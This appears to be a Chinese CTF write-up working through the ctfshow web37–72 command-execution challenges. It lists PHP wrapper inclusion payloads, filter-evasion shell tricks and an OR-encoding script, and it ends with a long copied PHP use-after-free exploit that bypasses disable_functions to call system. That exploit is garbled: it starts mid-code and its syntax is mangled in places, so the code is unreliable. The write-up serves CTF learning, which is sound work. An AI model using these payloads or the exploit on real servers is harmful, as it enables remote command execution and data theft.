ctfshow-web入门-part2
今天我们做的是ctfshow中web入门的命令执行板块,也是学到了很多东西。
当然也是被一些题给干不会了,早晚做完!!!
WP
web37
首先查看源码
发现了include函数,但是把flag过滤了,那我们就没法直接用filter协议了
所以我们可以使用php://input或者是data协议
第一种使用php://input
构造payload:
?c=php://input
我们使用Bp进行post传参
这样我们就得到了flag
第二种方法:使用data协议
构造payload:
?c=data://text/plain,
或者进行加密之后传入
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg==
web38
首先我们查看源码,发现和上一题比较过滤了php,那么我们使用data协议即可(加密后的)
web39
首先我们查看源码,发现是在我们传入的命令后面给拼接上php
那么我们还是传入
?c=data://text/plain,
即可得到flag
web40
首先查看源码
发现这次过滤了很多东西,我们前面使用的那些都没法使用了
注意这里过滤的是中文的括号
先说一个打印当初路径下文件的函数:print_r(scandir(‘.’))
但是这里已经把单引号和小数点都过滤了
那我们就只能再找别的东西了,最好是一个函数。
localeconv() 返回一包含本地数字及货币格式信息的数组
那么接下来要做的就是想办法构造print_r(scandir(localeconv()[0]))
但是这个函数不能这样用,而且题目也把方括号给过滤了,所以我们要找能有类似功能的
有这样的三个函数
current() 函数返回数组中的当前元素(单元),默认取第一个值, pos() 同 current() ,是current()的别名 reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE那么我们就能打印当前的目录了
我们构造payload:
print_r(scandir(current(localeconv())));
这样我们就得到了当前的目录
我们就可以继续往下推进了
我们这里可以用的是
highlight_file函数和next()
next():
输出数组中的当前元素的下一个元素的值,也就是输入第二个
(end可以输出最后一个)
但是这个题目中flag在第三个我们该怎么办呢
我们可以用array_reverse函数(这个函数就是将数组转置)
那么我们最终构造的payload:
/?c=highlight_file(next(array_reverse(scandir(current(localeconv())))));
这样我们就得到了flag
web41
我们首先来看源码
发现貌似把所有的东西都给过滤了
这种全过滤,反倒只有一种解法就是构造字符串
& 按位与 |按位或 ^ 按位异或 ~取反 为四大位运算符,其中按位异 | 没有过滤,过滤的字符是防异或、自增和取反构造字符
从网上抄的的大佬的脚本
import re import requests url="http://67e43a48-b511-4fcd-b715-74df05737fd1.challenge.ctf.show:8080" a=[] ans1="" ans2="" for i in range(0,256): c=chr(i) tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I) if(tmp): continue #print(tmp.group(0)) else: a.append(i) # eval("echo($c);"); mya="system" #函数名 这里修改! myb="ls" #参数 def myfun(k,my): global ans1 global ans2 for i in range (0,len(a)): for j in range(i,len(a)): if(a[i]|a[j]==ord(my[k])): ans1+=chr(a[i]) ans2+=chr(a[j]) return; for k in range(0,len(mya)): myfun(k,mya) data1="(\""+ans1+"\"|\""+ans2+"\")" ans1="" ans2="" for k in range(0,len(myb)): myfun(k,myb) data2="(\""+ans1+"\"|\""+ans2+"\")" data={"c":data1+data2} r=requests.post(url=url,data=data) print(r.text)
这样我们就得到了flag
web42
首先我们查看源码
主要是这条代码:
system($c.” >/dev/null 2>&1”);
>/dev/null 2>&1主要意思是不进行回显的意思
可以参考Shell脚本———— /dev/null 2>&1详解
我们要让命令回显,那么进行命令分割即可; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
那么我们就可以构造payload:
?c=tac flag.php;
?c=tac flag.php||
web43
首先我们查看源码
跟上一题相比,过滤了分号和cat那么我们就是用||和tac即可
?c=more flag.php||
?c=sort flag.php||
?c=less flag.php||
?c=tac flag.php||
?c=tail flag.php||
?c=nl flag.php||
?c=strings flag.php||
都可以进行绕过
web44
首先我们查看源码
过滤了flag,那么我们使用 tac f*||即可
通配符绕过?c=more ????.???||
?c=more fla*.php||
?c=more fl\ag.php||
?c=more fl’’ag.php||
web45
这一题就是多过滤了一个空格
空格绕过
<
<>
重定向符
%09(需要php环境)
${IFS}$IFS$9
{cat,flag.php}
//用逗号实现了空格功能
%20%09
web46
增加了$和*
我们使用%09不算数字
web47
我们接着看,新增了more less head sort tail
对我们没什么影响
?c=tac%09fl””ag.php||
web48
新增了sed cut awk strings od curl 反引号
对我们还是没影响
我们继续用上一题的payload
web49
还是没什么影响 %09不算%
web50
这道题真的是把%09给过滤了
那么我们使用<>这个来过滤
构造payload:
?c=tac<>fl””ag.php||
web51
这一道题把tac给过滤了(天塌了)
还剩个nl没过滤只能用这个了
?c=nl<>fl””g.php||
出来个1,我们摁一下F12就能看到了
web52
这次新增了<>这两个符号(真令人头大)
但是$这个符号可以用了那么我们就使用${IFS}来绕过空格过滤
?c=nl${IFS}fl\ag.php||
直接输入没得到flag,那么我们用ls来扫一目录吧
?c=ls${IFS}/||
得到根目录,看到了flag
那么就应该是这个了
?c=nl${IFS}/fl\ag||
web53
这道题之前伴随我们的>/dev/null 2>&1没有了
$IFS符号如果是在当前目录读文件则中间要用’’来分隔一下
如果读其他路径下的如根目录 / 下的文件 则不用使用符分割
$IFS后边可以使用符号 但是不能直接跟字符 会显示无效命令
可构造playload:
/?c=nl${IFS}fl\ag.php
web54
新增了nl也给过滤了,真天塌了
我只能从网上查查看看还有什么能用
grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行
构造payload:
?c=uniq${IFS}????.???
?c=grep${IFS}’{‘${IFS}fl???php
(在 fl???php匹配到的文件中,查找含有{的文件,并打印出包含 { 的这一行)
web55
这次更是重量级把英文字母都给过滤了
那么我们就只能找到有数字的命令,再搭配通配符匹配命令进行绕过了
想想/bin目录下的命令
cat、cp、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
发现存在一个base64
那么我们就构造payload:
?c=/???/????64 ????.???
//意思是/bin/base64 flag.php
再看大佬们的方法
1.bzip2方法
bzip2是linux下面的压缩文件的命令关于bzip2命令的具体介绍
/usr/bin目录:
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。
我们可以利用/usr/bin下的bzip2
意思就是说我们先将flag.php文件进行压缩,然后再将其下载
payload:
?c=/???/???/????2 ????.???
也就是/usr/bin/bzip2 flag.php
然后访问/flag.php.bz2进行下载获得flag.php
- 无字母数字webshell之提高篇
.(点)的用法,就是相当于source 可以执行sh命令linux下的.使用
在这个之前我们需要构造一个post上传文件的数据包。
< !DOCTYPE html>
< html lang=”en”>
< head>
< meta charset=”UTF-8”>
< meta name=”viewport” content=”width=device-width, initial-scale=1.0”>
< title>POST数据包POC
< /head>
< body>
< form action=”http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/“ method=”post” enctype=”multipart/form-data”>
< !–链接是当前打开的题目链接–>
< label for=”file”>文件名:
< input type=”file” name=”file” id=”file”>
< input type=”submit” name=”submit” value=”提交”>
< /form>
< /body>
< /html>
然后抓包
构造poc执行命令
?c=.+/???/????????[@-[]
注:后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母。
然后在上传文件内容添加sh命令
#!/bin/sh
ls
或者直接运行下面的脚本即可得到flag:
import requests while True: url = "http://a88c904d-6cd4-4eba-b7e9-4c37e0cf3a7d.chall.ctf.show/?c=.+/???/????????[@-[]" r = requests.post(url, files={"file": ('feng.txt', b'cat flag.php')}) if r.text.find("flag") > 0: print(r.text) break
web56
这次把数字也给过滤了
用上边的无数字字母getshell方法
web58-65
查看源码
主要是过滤各种函数
构造payload:(要用post传参)
c=show_source(‘flag.php’);
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
web66
show_source函数被禁用了
用print_r(scandir(‘/‘));查看根目录之后,看到了flag.txt
再用c=highlight_file(‘/flag.txt’);得到了flag
web67
print_r函数也被禁用了 我们可以使用var_dump()函数代替
web68
highlight_file函数被禁用了,看不到源码了
但是这道题没有禁用include()函数,可以利用文件包含漏洞读取flag.txt
c=var_dump(scandir(‘/‘));
c=include(‘/flag.txt’);
web69-70
把var_dump函数给ban了,那么我们就用var_export()函数
c=var_export(scandir(‘/‘));
c=include(‘/flag.txt’);
web71
附件给了我们源码
$s = ob_get_contents();//得到缓冲区的数据。
ob_end_clean();//会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容
并且用?代替数字和字母
那么我们可以用exit()或者die()提前结束,这样就不会替换了
构造payload:
c=var_export(scandir(‘/‘));exit();
c=include(“/flag.txt”);die();
web72
这道题存在open_basedir(open_basedir 是 PHP 中的一个重要安全配置指令,用于 限制 PHP 脚本可以访问的文件系统路径,防止恶意脚本越权访问服务器上的敏感文件(如 /etc/passwd、其他用户的网站数据等)。)
利用glob伪协议在筛选目录时不受open_basedir制约(glob:// 是 PHP 提供的一个 伪协议(Wrapper),用于 匹配文件路径模式(类似 Shell 中的通配符 *),常用于 目录遍历 和 文件查找。它在 CTF 和安全测试中经常被用来绕过 open_basedir 限制。)
语法:glob://<模式>
构造:
c=
$a=new DirectoryIterator(“glob:///*”);
foreach($a as $f){
echo $f.” “ ;
}
exit();
知道了文件时/flag0.txt,就要想办法绕过open_basedir和disable_functions来读了
大佬的exp:
c=?>a); $backtrace = (new Exception)->getTrace(); # ;) if(!isset($backtrace[1]['args'])) { # PHP >= 7.4 $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |="ord($str[$p+$j]);" } return $address; function ptr2str($ptr, $m="8)" { $out ; for ($i="0;" $i < $m; $i++) .="sprintf('%c',$ptr" & 0xff); $ptr>>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf('%c',$v & 0xff); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { # str_shuffle prevents opcache string interning $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; # increase this value if UAF fails $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } # leaks $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; # fake value write($abc, 0x60, 2); write($abc, 0x70, 6); # fake reference write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # fake closure object $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } # pwn write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); # internal func type write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit(); } =>
记得url编码之后再上传
总结
这个暂时还未完结啊,剩下的几道题目,我不会(理直气壮),大佬们的wp也还没看懂,过几天我慢慢学习一下,再把他完结掉!!!我肯定会来把这个模块给完结掉的,绝对不会鸽!!!
在这里先做一个小总结
几种常见的过滤的姿势
cat的过滤姿势
more
sort
less
tac
tail
nl
strings
空格的绕过姿势
>
<
<>
重定向符%09
(需要php环境)${IFS}
$IFS$9
{cat,flag.php}
//用逗号实现了空格功能%20
%09
flag的绕过姿势
通配符绕过
?c=more ????.???
?c=more fla*.php
?c=more fl\ag.php
?c=more fl’’ag.php
突破函数禁用
这里我知道的也不多,就总结一下这个模块出现的一些把
一.
show_source()
print_r()
var_dump()
var_export()
二.
highlight_file()
include()